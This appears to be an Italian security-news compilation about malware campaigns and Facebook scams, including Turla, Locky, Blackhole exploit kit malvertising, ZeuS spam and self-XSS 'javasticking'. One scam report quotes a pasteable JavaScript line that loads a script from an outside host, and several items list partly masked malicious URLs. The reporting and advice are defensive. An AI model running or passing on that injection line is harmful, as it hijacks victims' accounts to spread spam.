Kaspersky scopre Topinambour: malware che si nasconde nelle VPN

Il gruppo criminale Turla ha rilasciato nuove varianti del Trojan KopiLuwak. I ricercatori di Kaspersky hanno scoperto che il gruppo di cybercriminali di lingua russa Turla ha rinnovato il set dei suoi strumenti: inserendo il suo famoso JavaScript per la diffusione di malware, KopiLuwak, all'interno di un nuovo dropper, detto Topinambour, creando due versioni simili, in lingue diverse, e distribuendo il malware attraverso pacchetti di installazione infetti, alcuni dei quali legati a software per bypassare eventuali restrizioni nell'uso di Internet. Noto anche come Venomous Bear, Waterbug e Uroboros, il gruppo è stato scoperto nel 2014 ma le sue radici risalgono almeno a dieci anni prima.

G Data: phishing travestito da foglio Excel condiviso su Windows Live

Il ransomware Locky ha infettato migliaia di computer al giorno in tutto il mondo e ha causato caos su Internet grazie alla sua notevole capacità di mutare e di creare nuove varianti. Un ransomware, spiegano gli esperti di sicurezza informatica di G DATA, è un malware che crittografa i contenuti memorizzati sul proprio PC e richiede un riscatto in cambio del recupero delle informazioni rapite. Locky, che raggiunge le sue vittime nelle e-mail, è anche in grado di muoversi per la rete e cifrare tutto sul suo cammino, inclusi i file condivisi e backup. L’espansione dei ransomware ha avuto un aumento negli ultimi tre anni, quando molti programmi malevoli hanno adottato algoritmi di cifratura più robusti.

Truffa su Facebook attraverso tag da amici porta a falso plugin Flash

Gli spammer trovano sempre dei nuovi metodi o li aggiornano per diffondere il loro scam su Facebook. Adobe ha appena rilasciato degli importanti aggiornamenti per il suo plugin Flash Player e gli spammer sul social network non hanno perso tempo a raccogliere l'opportunità per sfruttare la situazione. In particolare, una un pericoloso scam, presumibilmente di origine turca, in cui si invita ad aggiornare proprio il Flash Player si sta diffondendo attraverso tag. Potrebbe accadere infatti di essere taggati da un amico in un commento su un post o status condiviso da una pagina. 

Nel post individuato da Protezione Account, si legge in particolare: "The teacher raped ! Without the consent of the girl he raped her without mercy ! Family teacher was put into a coma ! ( Strictly follow ) [link rimosso] My friends and tag everyone, not such things." che tradotto: "L'insegnante violentata! Senza il consenso della ragazza che l'ha violentata senza pietà!  Insegnante di Famiglia è stata messo in coma! (Strictly seguire) [link rimosso] I miei amici e taggate tutti, non queste cose."

Se si clicca sullo short link si viene rimandati ad una pagina esterna a Facebook dove per poter vedere il presunto video si viene invitati a installare un falso plugin Flash Player per Chrome. La particolarità della truffa sta nel fatto che con qualsiasi browser si apra il sito si è obbligati a scaricare l'estensione rogue per il browser di Google. Questo perchè la truffa è veicolata solo attraverso il noto browser.

Ovviamente non esiste alcun presunto video dell'insegnante "violentata". La truffa fa probabilmente riferimento ad una delle tante notizie "vere" che girano nel Web http://goo.gl/vnENES su violenze sessuali accadute in alcune scuole o quella sull'insegnante di matematica di un liceo di Tacoma, nello stato di Washington, che è stata arrestata per sesso e video hot che inviava ai suoi studenti. 

In realtà non viene installato alcun Flash Player ma un plugin malware che effettua delle operazioni automatiche attraverso codici Javascript per nome e per conto dell'utente che lo ha installato. In questo caso dei tag a commento in cui vengono citati un certo numero di amici (oltre la venti amici e l'azione viene ripetuta nel tempo). 

Come nella gran parte delle truffe diffuse su Facebook, gli autori dello scam fanno leva sulla curiosità dell'utente e sul fatto che il tag proviene da un amico presumibilmente "fidato". In 15 ore il post ha raccolto ben oltre 1 milione di commenti ed il sistema di sicurezza antispam di Facebook ha individuato e neutralizzato la truffa, ma la pagina sul social network ed il sito sono ancora online. Inoltre, sul Play Store al momento è ancora attiva, dato che il plugin malware risiede proprio sul negozio online di Google.

Non viene fornito alcun screenshot ma nella descrizione dell'estensione si legge: SmartVideo fornisce un migliore controllo sulle opzioni buffering di YouTube opzioni, qualità e gioco. Caratteristiche: 1 .Funziona con tutti i video di YouTube embedded/HTML5. Che si tratti di un video sul news feed di Facebook o un video direttamente dal sito YouTube . 2. Con preferenze globali, tutti i video di YouTube possono essere impostati per iniziare a vostra scelta non appena viene caricata la pagina (...)".

"(...) Lasciate SmartVideo decidere quando è bene iniziare a giocare. Lo 'smart buffer' di SmartVideo  decide la percentuale di buffer in base alla velocità di download in corso. O semplicemente fare i video di YouTube per avviare il buffering quando la pagina viene caricata . È possibile riprodurre il video ogni volta che si desidera (...)". In realtà esiste un'estensione lecita e si chiama proprio SmartVideo For YouTube™. 

Il plugin è stato caricato sullo store il 10 maggio scorso ed ha un peso di 198 kilobyte. Sebbene in lingua inglese è evidente l'origine turca dell'applicazione come in altre pericolose truffe già viste in passato. Il rischio, oltre all'assumere il controllo dell'account Facebook, è quello di essere bloccati dal social network per presunta attività di spamming. Se avete installato per errore il plugin seguite queste istruzioni per rimuoverlo dal vostro browser.

Il consiglio è sempre quello di prestare attenzione alle installazioni o quando ricevete un messaggio da parte di un amico. Prima di effettuare qualsiasi operazione contattate l'amico per verificare se sia stato lui ad inviarvelo volontariamente. Spesso le operazioni automatiche delle applicazioni rogue vengono effettuate quando l'utente risulta offline. A tal proposito è bene ricordare di non utilizzare codici Javascript su Facebook per ottenere delle funzionalità aggiuntive. Installate il Flash Player esclusivamente dal sito ufficiale di Adobe.

AVG, siti compromessi presentano annunci di Facebook e scaricano virus

All'inizio di questa settimana molte persone hanno cominciato a notare una massiccia ondata di rilevamenti di Blackhole Exploit Kit segnalati da molti degli utenti del noto software antivirus AVG. I rilevamenti riportati sono stati pari a 1,6 milioni in circa 12 ore. Alcuni clienti hanno comunicato alla società di sicurezza AVG che LinkScanner, il noto programma di rilevamento siti malware, aveva segnalato anche Facebook come sito malevolo. Tuttavia, i reali rilevamenti del Blackhole Exploit Kit type 2314 erano il risultato di annunci dannosi passati insieme da un servizio di pubblicità che apparivano sulle pagine di Facebook e quelli di altri siti web.

A complicare ulteriormente la situazione, gli operatori non autorizzati che stavano usando gli annunci avevano progettato alcuni dei loro annunci con caratteristiche grafiche, colori e caratteri tipografici che imitavano il look di Facebook. Gli esperti di AVG hanno ricevuto le relazioni di rilevazione attraverso il "rapporto" opt-in, della funzione automatica di AVG che riporta le rilevazioni di diversi milioni di utenti della società. Così, circa l'uno per cento degli utenti di AVG sono stati bloccati da contenuti potenzialmente dannosi grazie a LinkScanner. Questi sono stati circa 1,3 milioni di rilevamenti nelle prime 6 o 7 ore.

L'ad server che fornisce gli annunci a quanto pare era stato compromesso da un hacker che ha installato il malware del Blackhole Exploit Kit. Il codice JavaScript maligno viene iniettato nelle pagine servite dal server Web compromesso. In genere, il JavaScript associato al Blackhole afferra altri script dannosi da un altro server al fine di compromettere la sicurezza degli utenti che visitano il sito web - un tipico attacco malware drive-by. In questo caso, il server Web compromesso era in qualità di ad-server, condizionando il contenuto dei messaggi pubblicitari sui vari siti web, così da servire delle pagine fuori ox-d.served-now.com e negli spazi pubblicitari delle pagine di altri siti web.

Dopo la compromissione dell'ad-server, le pagine pubblicitarie servite contenevano gli annunci previsti più lo script exploit Blackhole. Nell'immagine qui sopra, AVG ha evidenziato in blu il codice sorgente HTML del messaggio pubblicitario previsto che è l'originale, mentre il testo non evidenziato è lo script Blackhole. Una volta decifrato, gli esperti di AVG hanno illustrato ciò che lo script è destinato a fare. "Dopo aver testato le diverse funzioni e le versioni del browser Web del visitatore, l'intenzione principale di questo script è quella di iniettare un Iframe nella pagina Web corrente", spiega TomK, ingegnere software di AVG.

Questo è un pò contorto, ma significa che il contenuto di una pagina Web col banner.blawg.ch verrà inserita in una pagina, tramite gli annunci del bue-d.served-now.com. Si noti che non è necessario fare clic su un annuncio, o interagire con esso in alcun modo, da qui in poi la funzionalità descritta si verificherà in modo del tutto involontario. La semplice visita una pagina in cui vengono visualizzati tali annunci è sufficiente per attivare  il codice dannoso che potrebbe portare a frodi con carta di credito, il furto di identità e vari pezzi di software cattivo potrà essere installato sul computer di un utente Web.

Senza entrare troppo nei dettagli, questa pagina richiede una applet Java che è dipendente dalla versione del browser (in base al PluginDetect che viene usato per determinare le caratteristiche del browser) e sfrutta una vulnerabilità di Java adatta nella versione installata del browser per scaricare ed eseguire diversi programmi eseguibili di Windows. Gli URL da cui vengono prelevati questi programmi vengono decodificati dall'applet Java da un parametro passato, come evidenziato nell'immagine qui sopra. Quindi, l'inserimento dello script iniziale negli annunci del server degli ad banner alla fine ha portato ad un attacco malware drive-by tramite uno dei numerosi exploit Java.

Il malware binario include bot e backdoor, e qualcosa per fare ancora più soldi, come un falso AV chiamato Security Shield. Il falso software antivirus segnala delle potenziali minacce che avrebbero infettato il sistema dell'utente vittima. In realtà si tratta di falsi rilevamenti che inducono l'utente ad installare il programma. Il rogue antivirus alcuni casi blocca prende letteralmente in ostaggio il PC, bloccando di fatto ogni possibilità di azione da parte dell'utente. Qui di seguito le schermate di alcuni degli annunci che gli utenti potrebbero aver visto nelle pagine Web legittime che erano state manomesse, come descritto in precedenza. Esse sono nel contesto di una pagina Web, dove sarebbero state integrate con gli altri elementi della pagina.

L'AVG Web Threats Research team ha studiato un incidente simile nel mese di luglio in cui LinkScanner aveva rilevato un numero enorme di annunci dannosi su YouTube. Per migliorare la protezione di un motore di ricerca consigliamo l'installazione gratuita di LinkScanner. Dopo l'installazione, è sufficiente eseguire una ricerca nella casella di ricerca di uno dei browser disponibili. I risultati della ricerca includono chiare valutazioni relative alla protezione di ogni collegamento. Per coloro invece che sono stati colpiti dal malware ed in generale da virus, trojan o rootkit, è possibile utilizzare il software gratuito Windows Defender Offline messo a disposizione da Microsoft.

Il programma consente di rimuovere questi programmi dannosi e difficili da individuare, grazie all'utilizzo di definizioni in grado di riconoscere le minacce. Esso viene lanciato all'avvio del computer ed agisce contro il malware prima che il sistema operativo venga caricato e, quindi, prima che l'infezione possa produrre effetti. Windows Defender Offline funziona su Windows XP, Windows Vista, Windows 7, Windows Developer Preview e Windows 8 Consumer Preview. L'applicazione è disponibile sia per sistemi a 32 bit che a 64 bit. Se il computer non è nuovissimo e non permette l'avvio dalla pendrive, allora sarà indispensabile l'installazione su CD o DVD.

Sophos, malware diffuso attraverso false notifiche Facebook di tag a foto

Gli utenti di Facebook sono nuovamente nel centro del mirino degli spammer. Martedì scorso lunedì alcuni utenti hanno denunciato di essere stati oggetto dell'invio di messaggi diretti presumibilmente provenienti dal social network. In realtà non è proprio così. L'ultima minaccia, in questo senso, combina il classico spam con l’invito a visionare un tag in una foto. Diffidate, infatti, delle e-mail che affermano di provenire da Facebook, e dicono che siete stati taggati in una foto. Perché potreste essere voi la prossima vittima potenziale di un attacco malware. I SophosLabs hanno intercettato una campagna email di spamming-out, progettata per infettare i computer dei destinatari con del malware.

Sophos: attacchi BlackSeo correlati alla Pasqua rimandano a scareware

Come in occasione di altre festività passate, è banale per gli spammer prevedere termini di ricerca popolari. Quindi, con la Pasqua imminente, non è sorprendente che via sia un aumento degli attacchi BlackSeo questa settimana che hanno usato temi come 'uova', 'cioccolato' e 'coniglietti'. I ricercatori di sicurezza avvertono che i distributori di malware traggono profitto dagli interessi correlati alla festività.

Nuova minaccia virus da e-mail HTML anche senza aprire gli allegati

L'Eleven Research Team ha emesso un avviso su un metodo nuovo e particolarmente pericoloso via e-mail che infetta i PC con virus e trojan. Questo driveby spam scarica automaticamente il malware quando l'e-mail è aperta nel client di posta elettronica. Il malware e-mail precedente richiedeva all'utente di cliccare su un link o aprire un allegato per poter infettare il PC, come ad esempio un file PDF. La nuova generazione di e-mail-malware è costituito da e-mail HTML che contengono un JavaScript che scarica automaticamente il malware quando l'e-mail è aperta.

G Data, nuova ondata di mail spam con virus ZeuS e doppia trappola

ZeuS è stato sicuramente uno dei Trojan bancari più pericolosi degli ultimi anni. Zbot, in circolazione dal 2007 aveva infettato, attraverso la sua rete di botnet 75.000 sistemi in 196 paesi, di cui 1.400 computer italiani, 2500 organizzazioni compresi Enti Governativi e società commerciali. Lungi dall’essere stato completamente eliminato, il pericoloso malware si ripresenta ora grazie a una nuova ondata di mail di spam che rimanda a falsi siti di banche più o meno note in ogni nazione. 

Il trucco è sempre lo stesso: trarre in inganno l’utente e indurlo a cliccare su un link con tutte le conseguenze negative del caso. Le mail in questione fanno di norma riferimento a false transazioni non andate a buon fine con la conseguenza richiesta all’ignaro destinatario di cliccare su un link per rivedere gli estremi dell’operazione bancaria. Cliccando su questo link si accede a un falso sito web dove viene richiesto all’utente di scaricare un update per Adobe Flash Player necessario per visualizzare il file pdf della transazione.

Ovviamente si tratta di un falso aggiornamento che, come dimostrato dalle analisi condotte dai G Data Security Labs, contiene il malware Zeus identificato come Gen: Variant. Kazy.44360. L’attacco, però, non si limita a questa trappola. Anche se l’utente si rende conto che l’update richiesto è un falso, lo stesso sito Internet di per sé rappresenta un pericolo. 

Gli autori del sito, infatti, hanno incluso un file php che nasconde un javascript non visibile in grado di lanciare un applet che funziona come un drive-by-downloader capace di penetrare nel computer nell’utente sfruttando una vulnerabilità descritta in CVE-2010-0840. Se l’attacco funziona, l’applet scarica ulteriori dati nel Pc dell’utente che ora diventa, di fatto, la vittima designata. Il file scaricato, un .dll in questo caso, è il malware che infetta il computer con ZeuS.

Siamo dunque in presenza di un sito Internet ibrido che, da un lato, cerca di infettare i visitatori con tecniche di social engineering offrendo un aggiornamento software come necessario e che, dall’altro, cerca di sfruttare un’infezione di tipo drive-by. Come sempre in questo caso i consigli da seguire sono chiari:

• Se ricevete una mail da banche di cui non siete clienti o con le quali non avete mai avuto rapporti cancellate immediatamente la mail e non cliccate mai su eventuali link o allegati
• Non fornite mai dati personali o bancari via mail né inseriti su siti Internet che vi sono stati indicati via mail
• Tenete aggiornato il vostro antivirus o suite di sicurezza
• Tenete aggiornato il vostro sistema operativo con le ultime patch.
• Se dovete inserire indirizzi Internet nel browser inseriteli sempre manualmente e, se utilizzate l’online banking, accedetevi attraverso la cartella Preferiti del browser

Un’importante operazione da eseguire per non perdere mai i preferiti del proprio browser è quella di salvarli periodicamente o sincronizzarli in automatico. Alcuni browser come Chrome permettono la sincronizzazione automatica direttamente dai server Google.

G Data Software AG, con il suo quartier generale a Bochum, è una software house innovativa che si sta velocemente espandendo e che ha il suo focus sulle soluzioni per la sicurezza informatica. In qualità di specialista in Internet Security e pioniere nel campo della protezione contro i virus informatici, l’azienda, fondata a Bochum nel 1985, ha sviluppato il primo programma antivirus più di 20 anni fa. G Data è dunque una delle più vecchie aziende produttrici di sicurezza del mondo.

Negli ultimi cinque anni nessun altra azienda europea del settore sicurezza ha vinto tanti test e premi nazionali ed internazionali quanto G Data. La linea di prodotti comprende soluzioni per la sicurezza dell’utente finale come pure prodotti dedicate alla piccola, media e grande impresa. Le soluzioni per la sicurezza di G Data sono disponibili in tutto il mondo in più di 90 paesi. Maggiori informazioni sull’azienda e sulle soluzioni per la sicurezza informatica di G Data sono disponibili sul sito internet www.gdata.it. Per ulteriori informazioni G Data Software Italia Srl

Segnalati numerosi casi di phishing Facebook, attenzione al fake login

In queste ore sono stati segnalati numerosi casi di furti di pagine e hackeraggi di gruppi su Facebook. Sono diversi i metodi adottati dai malintenzionati per ottenere il controllo di una data pagina o gruppo. Ovviamente per far ciò è fondamentale che uno degli amministratori cada nella trappola messa in atto dal phisher di turno. Abbiamo toccato quest'argomento svariate volte (basta fare una ricerca col tag phishing), ma a quanto pare la gente non presta la dovuta attenzione e cade ancora in una delle attività più pericolose ma al tempo stesso meno "elaborata" dei crybercriminali.

Facebook blocca attacco con foto hard e violente, individuati responsabili

Facebook ha detto di aver liberato il suo sito da gran parte delle immagini pornografiche e violente pubblicate come parte di un attacco di spam. Facebook aveva annunciato un'indagine sulla base delle denunce ricevute da migliaia di utenti che hanno detto di aver ricevuto immagini pornografiche sui loro ''news feed''. Lo scorrere del flusso degli 800 milioni di utenti del sito di social networkig sembra ora tornato normale.

Nuovo exploit kit individuato da Trend Micro, i consigli per difendersi

Ultimamente vi è un nuovo aumento del volume di attacchi di spam che utilizzano un kit exploit - nello specifico, il BlackHole exploit kit - per innescare un payload maligno. In particolare, nelle ultime catene di spam Automated Clearing House (ACH), e nei più recenti corrieri spam su Facebook relativi alla morte di Steve Jobs. Con questo post, gli esperti di Trend Micro, orientano i lettori sulla catena di infezione di tali attacchi per aiutare a capire perchè le pratiche di mitigazione di base sono ancora efficaci e utili per proteggersi dalle minacce di oggi. 

In una campagna di spam tipico che coinvolge il malware, i cybercriminali attirano gli utenti attraverso l'ingegneria sociale facendo eseguire una serie di azioni prima che il carico utile destinato venga eseguito. Ad esempio, un utente deve scaricare, estrarre ed eseguire un presunto file "benigno" per un attacco di spam perchè possa avere successo. Campagne di spam utilizzando kit exploit, tuttavia, sono un pò più pericolosi in quanto hanno solo bisogno di attirare l'utente a cliccare su un link maligno ed il resto del contagio sarà in grado di prendere posto. 

Di seguito è riportato un esempio di questo tipo di spam che pretendono di essere provenienti dal National Automated Clearing House Association (NACHA). Il NACHA gestisce la rete ACH, che facilita le transazioni di pagamento di massa che coinvolge imprese, governi, come pure i consumatori. Gli utenti che hanno maggiori probabilità di ricevere email da NACHA sono quelli che effettuano transazioni relative a libro paga, i benefici del governo, restituzioni d'imposta, ed altri.

Il resoconto delle transazioni nel falso messaggio spam conduce ad una pagina vuota

Nella schermata dello spam di cui sopra, si può vedere che il link punta a un dominio dall'aspetto dubbio che non è legato al National Automated Clearing House Association (NACHA). Una pagina vuota viene visualizzata quando gli utenti fanno clic sul collegamento. Questa pagina vuota è in realtà una pagina gateway che contiene i seguenti JavaScript offuscati:

 La pagina gateway dello script offuscato

Quando decifrati, è possibile vedere che si tratta di uno script che tenta di inserire un iframe che punta ad un altro sito maligno, che utilizza il kit di BlackHole Exploit:

La pagina del gateway decifrata

Una volta che l'iframe viene caricato, il contenuto viene caricato anche dal Kit BlackHole Exploit sul sito che, ancora una volta, contiene uno script molto offuscato. Al momento della decodifica del codice, è possibile vedere il codice vero e proprio che cerca software vulnerabili e utilizza le azioni appropriate. Il kit Exploit BlackHole sfrutta le vulnerabilità sia in applicazioni di terze parti come Adobe Acrobat, Adobe Flash e Java, così come nei componenti di Windows come Microsoft Data Access Components (MDAC) e la Guida in linea e supporto tecnico (HCP).

Il sito del Blackhole  Exploit Kit mostra questo script molto offuscato

Lo sfruttamento esegue uno shellcode, che innesca il download e l'esecuzione di malware. Abbiamo osservato che questi attacchi sono stati utilizzati per diffondere varianti ZeuS, anche se queste possono essere utilizzati anche per diffondere altre famiglie di malware.

Mitigazione multistrato

Come promemoria per gli utenti, ecco alcuni modi per prevenire che questo tipo di minaccia si ottenga nei loro sistemi:

• Essere a conoscenza di attacchi di ingegneria sociale. La maggior parte degli attacchi online oggi utilizzano il social engineering prima che possano esporre tecnicamente l'infezione. Diffidando da ciò che si fa on-line, le infezioni possono già essere mitigate al momento della comparsa. Semplice buon senso, come non sono divertenti le email indesiderate che potrebbero fare molto in termini della vostra sicurezza personale online.
• Controllare sempre i link malevoli. Controllare sempre dove puntano gli URL dei collegamenti ipertestuali. E 'anche una buona pratica copiare e incollare un URL nella barra degli indirizzi del browser piuttosto che cliccare il link direttamente.
• Disabilitare JavaScript nel vostro browser. Come accennato in precedenza, la pagina gateway e la pagina BlackHole Exploit Kit hanno utilizzato JavaScript. Questo è anche il caso di un sacco di minacce di oggi che usano il browser per eseguire un payload maligno. Come tale, è una buona idea disabilitare JavaScript nel vostro browser e permettendo l'accesso solo ai siti di fiducia, se necessario.
• Ricordarsi sempre di patchare. Il BlackHole Exploit Kit utilizza exploit che colpiscono le vecchie versioni non aggiornate di software. La persistenza di tali strumenti significa che sfruttano gli obsoleti e sono ancora in grado di infettare molti utenti. Non importa quanto scomoda possa essere, la patching del software regolare è ancora un processo di attenuazione importante.

"Lo stato del panorama delle minacce e la dipendenza schiacciante del pubblico su Internet richiede che gli utenti dovrebbero avere la consapevolezza del tipo di minacce trovate sul web, come pure i mezzi per proteggere se stessi da esse. Avendo conoscenza di come questi attacchi lavorano, gli utenti possono ottenere un vantaggio sugli aggressori, ed essere in grado di fermare una minaccia ancor prima che entri nel loro sistema. Un pò di auto-educazione in ultima analisi può rendere tutto Internet un luogo migliore e più sicuro", commenta Roland Dela Paz, Threat Response Engineer di Trend Micro. 

Ulteriori informazioni su come i criminali informatici hanno utilizzato lo spam nei loro schemi maligni possono essere trovati sul rapporto di sicurezza in PDF recentemente rilasciato da Trend Micro, Spam nel mondo aziendale di oggi. Fonte: Trend Micro Malware Blog

Facebook scam: false anteprime video inducono ad azioni automatiche

Un nuovo attacco del tipo javasticking in lingua italiana è in atto da diverse ore su Facebook. Molti utenti stanno vedendosi letteralmente inondare la propria bacheca con miniature video che invitano alla visualizzazione di filmati dove si è protagonisti, in realtà inesistenti. L'invasione è del tipo "virale" da non confondere con "virus", anche se molti utenti e pagine confondono spesso questi termini, considerandoli la stessa cosa. 

Infatti ecco cosa leggiamo su Facebook: "ATTENZIONE A TUTTI...... sulle bacheche compaiono degli strani video con provenienza youtube...mandati da una persone di quelle che abbiamo tra le nostre amicizie con una frase che più o meno dice così...CIAO, come stai? ma dimmi (il vostro nome) sei proprio tu in questo video? ecco NON APRIRLO ASSOLUTAMENTE contiene un link ruba profilo e quindi addio anche alle pagine eliminarlo istantaneamente dalla bacheca!Copialo e incollato nella tua bacheca e passate parola.CONDIVIDETE E FATE GIRARE". 

In realtà non vi è alcun furto del profilo o di pagine, ma consiste "semplicemente" in una serie di comandi in javascript effettuate in maniera "quasi" automatica dall'utente che cade nella trappola. Si tratta di diversi post che contengono testi simili:

Ciao [nome] ma sei te in questo video!!
YouTube
www.facebook.com
[Nome] Pazzesco!! non posso credere che lo hai fatto davvero

Ciao [nome] ti hanno taggato in questo video?
YouTube
www.facebook.com
[Nome] Incredibile! Ma perche lo hai fatto

Ed inoltre:
Questa Ragazza deve essere pazza per aver fatto questo!
VIDE0
www.facebook.com
Cavolo ma le persone stanno proprio fuori! Ma come si fa a fare questa cosa!

Cominciano spiegando che i link "YouTube" e "VIDE0" non sono altro che collegamenti ipertestuali che riportano alla bacheca del profilo utente (http://www.facebook.com/profile.php?sk=wall). Se clicchiamo sulle false anteprime dei video, per coloro che hanno installato correttamente l'ultima versione di flash player, verrà visualizzato il seguente messaggio:

Controllo di sicurezza Facebook.
Per vedere il video segui i passaggi
Ci scusiamo per il disagio
Continue

Si tratta di una finestra di dialogo simile a quella che YouTube presenta quando il filmato non è disponibile nel paese dell'utilizzatore, quindi l'utente viene invitato a premere alcuni tasti in sequenza che nascondono istruzioni automatizzate.

Per prima cosa saremo invitati a selezionare l'URL presente sulla barra degli indirizzi, cliccare J (per cancellare l'URL) e dunque la combinazione di tasti CTRL + V. Con quest'ultima operazione incolleremo la seguente istruzione javascript: "(a=(b=document).createElement('script')).src='http://www.******saliensstreaming.com/tag/fb.php',b.body.appendChild(a);void(0)" e poi il tasto INVIO per confermare l'operazione. 

In realtà l'utente avrà eseguito una serie una serie di azioni come se fosse lui stesso a compierle. Tali azioni si limitano, per adesso, all'autopubblicazione dello stesso post nella bacheca propria e in quelle degli amici, in modo da diffondersi viralmente. Il sito collegato ai post è il seguente:

Al momento non abbiamo rilevato malware (virus) e molti di questi link sono già stati bloccati da Facebook. Nonostante ciò questo nuovo metodo è riuscito a bypassare il controllo per queste tipologie di truffe da parte del sistema automatico di Facebook. Ciò perchè in precedenza era stato settato al massimo livello ed ha fatto si che molte applicazioni fossero disattivate per errore da Facebook. 

Il consiglio è quello di rimuovere i post spam dalle vostre bacheche, passando il mouse in alto a destra del post e cliccando sulla X che appare. in questo modo potrete rimuovere sia il post che la preferenza alla pagina o applicazione. 

Se ciò non dovesse essere sufficiente, potete controllare l'eventuale preferenza data inconsapevolmente a pagine sconosciute, collegandovi http://www.facebook.com/editprofile.php?sk=activities e per verificare le applicazioni usate http://www.facebook.com/settings/?tab=applications. Informate i vostri amici e prestate attenzione prima di compiere qualsiasi azione "inusuale" sul social newtork, in special modo quando ricevete post o link dai vostri amici. Infatti nella stragrande maggioranza di queste tipologie di truffe è proprio l'amico ad essere veicolo inconsapevole.

Attenti alle pagine che promettono di tornare alla vecchia chat Facebook

Su Facebook sono numerose le pagine che promettono presunti metodi per poter riottenere la vecchia chat. Molti di questi non sono funzionanti perchè non è possibile ripristinare su facebook vecchie funzionalità dopo aver effettuato l'aggiornamento. Si tratta di spam o metodi per raccogliere centinaia di migliaia di utenti per pubblicizzare successivamente siti o prodotti che nulla hanno a che fare con ciò che viene promesso sulle pagine stesse. Premesso ciò, troviamo in giro vari plug-in da installare nei browser di navigazione come componenti aggiuntivi, al fine di ripristinare la vecchia chat. Si tratta di piccoli programmi scritti in javascript, alcuni più o meno funzionati e altri che potrebbero installare contestualmente adware. Ricordiamo che l'adware è un programma che visualizza annunci pubblicitari popup invasivi, ma non solo. Una volta installati l’utente meno esperto non riesce a rimuovere questi componenti. Inoltre sono stati segnalati da numerosi utenti malfunzionamenti vari, come per esempio l'impossibilità stessa a chattare, risultare offline mentre si è online, in alcuni casi impossibilità ad aprire la chat, chat scomparsa, mancato caricamento di alcuni contenuti personali, impossibilità ad accedere al proprio profilo, rallentamenti, ecc. Queste applicazioni, infatti, fanno riferimento a variabili di Facebook che vengono cambiate frequentemente generando malfunzionamenti. I componenti aggiuntivi inoltre possono tenere traccia della vostra navigazione e dirottare il vostro traffico Web.

Si tratta cioè di una sorta di spyware, che possono raccogliere informazioni riguardanti l'attività online senza il vostro consenso. Noi vi proponiamo un modo per ritornare al modello di chat tradizionale, dove appaiono solo i contatti online e dove è possibile anche personalizzare le vostre liste amici. Questo obiettivo, anche se non molto agevole, si può raggiungere utilizzando la vecchia chat di Facebook in una nuova pagina, separata dalla pagina principale. Per fare ciò vi basterà andare all'iindirizzo: https://www.facebook.com/presence/popout.php. Per chi volesse rimuovere l'eventuale add-on installato nel browser Mozilla Firefox deve andare su: Strumenti > Componenti aggiuntivi > Estensioni - cercate il plug-in e disinstallate. Su Google Chrome: Cliccate sulla chiave in alto a destra > Strumenti > Estensioni - cercate il plug-in e disinstallate Su Internet Explorer: Strumenti > Gestione componenti aggiuntivi - (nella lista a destra) lo cercate e lo disabilitate. Su Opera Browser aprite il menu il alto - Estensioni > Gestioni delle estensioni e rimuovete quella indesiderata. Per completare la disinstallazione chiudete e riavviate il browser. Non dimenticate inoltre a rimuovere la vostra preferenza dalle pagine che vi hanno "obbligato" a cliccare "Mi piace" e spinto a diffondere la pagina stessa tra gli amici attraverso tag o condivisione, andando a questo link su Facebook e cercando tra gli interessi la pagina incriminata. Ricordate che non è il numero a far la qualità d'una pagina, specialmente su Facebook, ma i suoi contenuti. E' consigliabile anche una scansione antispyware del sistema col proprio antivirus.

Nuova truffa su Facebook promette l'abilitazione del Dislike button

Ciclicamente tornano a ripresentarsi su Facebook le medesime truffe, in questo caso utilizzando il codice Javascript. Dopo quella vista lo scorso mese inerente e bloccata dal social network, ad un mese di distanza, l'argomento del tasto "non mi piace" (dislike) su Facebook è ancora il più gettonato. Un nuovo attacco spam e' stato infatti individuato da Protezione Account e risulta ancora in forza. Osservando l'attività del fenomeno a 13 ore dalla sua rilevazione, la pagina su Facebook da cui ha origine l'attacco ha incrementato i sui iscritti del 500%. 

Ricordiamo che non esiste in alcun modo la possibilità di installare il pulsante "Non mi piace" sul proprio profilo, e lo staff di Facebook non ha mostrato alcun interesse verso questo argomento. E' possibile utilizzare dei plug-in per browser che permettono di cliccare "Non mi piace", ma l'eventuale "antipatia" sarà visibile solo agli utenti che a loro volta avranno installato lo stesso plug-in. La nuova truffa si presenta agli utenti attraverso un post sulla bacheca che recita testualmente: "Facebook now has a dislike button! Click 'Enable Dislike Button' to turn on the new feature!"

Come è possibile notare dal post, anche in questo caso viene sfruttata un falla nella piattaforma monile di Facebook. Infatti, nonostante la presunta operazione per installare il fantomatico pulsante "dislike" venga effettuata da computer desktop (e non potrebbe essere altrimenti, come vedremo in seguito). Inoltre il pulsante "condividi" è stato sostituito da "enable dislike button" (che ci riporta alla pagina truffa)

Se clicchiamo sul pulsante "enable " veniamo riportati alla pagina dell'applicazione (http://www.facebook.com/pages/Just-dislike/209***185766142?sk=app_197936773558***&ref=nf) e immediatamente verremo reindirizzati ad un sito esterno al social network (http://184.107.156.**/~newspiff/), dove saremo invitati ad eseguire la consueta procedura di copia/incolla sulla barra degli indirizzi del nostro browser

Se eseguiamo il procedimento non installeremo alcun pulsante "dislike", dal profilo piuttosto verranno impartiti dei comandi come se fosse lo stesso utente ad eseguire delle operazioni automatizzate (ciò che Protezione Account ha definito con il termine Javasticking), come per esempio, nel caso più semplice, inviare dei post sulla propria bacheca e su quella degli amici. Facebook dal canto suo ha implementato dei nuovi sistemi per combattere questo fenomeno, ma a quanto pare risultano allo stato attuale inefficaci. 

Questa tipologia di truffe (come nella maggior parte dei casi)  fanno leva come sempre sulla poca informazione da parte degli utenti e soprattutto sulla curiosità di provare funzionalità che non sono previste nella piattaforma. Il consiglio è come sempre quello di non copiare link sulla barra degli indirizzi del browser mentre si è loggati su Facebook, ma soprattutto di prestare attenzione ai link che ricevete sulla vostra bacheca da amici o in chat. Rimuovete il post cliccando sulla X posta sulla destra al passaggio del mouse in modo da non far cadere nella trappola i vostri amici ed avvertite l'utente che vi ha inviato lo spam.

Javasticking: ascolta su Facebook la tua musica preferita ma è scam

Facebook ha stretto di recente un accordo con un servizio di musica, da cui è possibile ascoltare migliaia di brani gratuitamente, che permetterà di usufruire di una vasta libreria musicale in streaming. Presto quindi si potrà condividere e ascoltare musica in streaming con un click: l'icona del servizio potrebbe essere collocata nella parte laterale sinistra del menù di entrata sulla propria pagina Facebook. Una volta cliccata l'icona, si installerà un software all'interno del computer che consentirà di accedere all'offerta musicale senza dover abbandonare la pagina del social network. E gli spammer non hanno perso tempo per diffondere il loro spam su Facebook. Non sarebbe bello se tu avessi un accesso immediato alla tua musica preferita e alle bande musicali? E se questi fossero facilmente disponibili sul tuo sito di social networking? Sono queste le domande che gli esperti di TrendMicro si pongono per descrivere questa nuova truffa su Facebook.

